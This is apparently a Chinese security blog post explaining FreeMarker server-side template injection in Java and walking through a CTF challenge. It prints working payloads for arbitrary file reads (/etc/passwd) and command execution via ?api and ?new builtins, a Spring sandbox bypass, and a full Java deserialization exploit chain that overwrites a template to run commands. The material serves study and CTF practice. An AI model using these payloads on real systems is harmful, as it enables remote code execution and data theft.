之前面试的时候问到一个很偏的问题,"请你说说Java的模版注入吧" 当时懵逼了一会儿答了FreeMarker和Thymeleaf以及Velocity,但是当时没有研究过只是知道有这三个玩意,今天刚好掏出半年前的题目来看下FreeMarker的模版注入吧
就是前端有个模板页面,然后通过"变量符/指令/插值"进行占位,后端查询回来的数据可以动态的向这些占位处填充实际数据
server.port=8888
# 模板后缀名
spring.freemarker.suffix=.ftl
# 文档类型
spring.freemarker.content-type=text/html
# 页面编码
spring.freemarker.charset=UTF-8
# 页面缓存
spring.freemarker.cache=false
# 模板路径
spring.freemarker.template-loader-path=classpath:/templates/
index.ftl
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>Demo</title>
</head>
<body>
<table>
<tr>
<td>Zjacky</td>
</tr>
<tr>
<td>${username}</td>
<td>${password}</td>
</tr>
</table>
</body>
</html>
在模板引擎渲染模板时,如果模板中存在恶意代码,进而会在渲染时执行恶意代码。不同的模板触发漏洞的场景也不同
FreeMarker是存在api 和new的内建函数能够进行命令执行
api 函数必须在配置项 api_builtin_enabled
为 true
时才有效,而该配置在2.3.22*版本之后默认为 false
我们可以通过 api 内建函数获取类的 classloader 然后加载恶意类,或者通过Class.getResource 的返回值来访问 URI 对象。 URI 对象包含 toURL 和 create 方法,我们通过这两个方法创建任意 URI ,然后用 toURL 访问任意URL
// 加载恶意类
<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}
// 读取任意文件
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
主要是寻找实现了TemplateModel 接口的可利用类来进行实例化 <span style="font-weight: bold;" data-type="strong">。</span>freemarker.template.utility
包中存在三个符合条件的类,分别为
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签
下面通过一个题来理解下Java的SSTI
考点:
打开依赖发现只有一个组件就是freemaker
而且题目也给了一个目录里面存在ftl
文件,所以很容易想到就是打freemaker
模版注入,那么看看怎么上传ftl
文件
这里再看下配置文件发现用了Spring的一个内置沙箱来防止模版注入
具体可以参考https://www.cnblogs.com/escape-w/p/17326592.html
先看文件目录
可以看到有个upload类看下代码
只能上传.ftl
文件,那就是想到覆盖index.ftl
文件了,往上看如何调用
于是找到HtmlMap#get()
方法,传filename
content
属性
在往上跟谁调用了get方法找到HtmlInvocationHandler#invoke()
这明显是一个代理类,存在invoke方法,在学习动态代理或者CC1的LazyMap的时候就知道这个InvocationHandler
就是动态代理的调用处理器,当使用代理对象的某个方法的 时候就会默认调用这个重写的invoke
方法,如下图
然后看控制器
发现/templating
触发index.ftl
/getflag
直接裸字节流反序列化
那么结合一下CC1的后半条链子,整条思路链就构造完毕了
AnnotationInvocationHandler#readObject()->HtmlInvocationHandler#invoke()->HtmlMap#get()->HtmlUploadUtil#uploadfile()
绕过沙箱的payload
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}
然后访问ssti templating?name=xxx即可打成功
最终EXP的思路为
htmlMap
需要上传的属性filename
为index.ftl
content
为恶意的SSTI payloadhtmlMap
的处理器包裹AnnotationInvocationHandler
触发动态代理的调用处理器package com.ycbjava;
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.lang.annotation.Target;
import java.util.Map;
public class YCBPoC {
public static void main(String[] args) throws Exception {
HtmlMap htmlMap = new HtmlMap();
htmlMap.filename="index.ftl";
htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
" <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
" <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}\n";
HtmlInvocationHandler html = new HtmlInvocationHandler(htmlMap);
Map proxy = (Map) Proxy.newProxyInstance(YCBPoC.class.getClassLoader(), new Class[] {Map.class}, html);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor a = c.getDeclaredConstructor(Class.class, Map.class);
a.setAccessible(true);
Object exp = a.newInstance(Target.class, proxy);
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream stream = new ByteArrayOutputStream();
ObjectOutputStream stream1 = new ObjectOutputStream(stream);
stream1.writeObject(o);
stream1.close();
String base64String = Base64.getEncoder().encodeToString(stream.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream b = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream o = new ObjectInputStream(b);
o.readObject();
o.close();
}
}
然后将结果打入
然后去触发index.ftl
即可执行命令
16 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!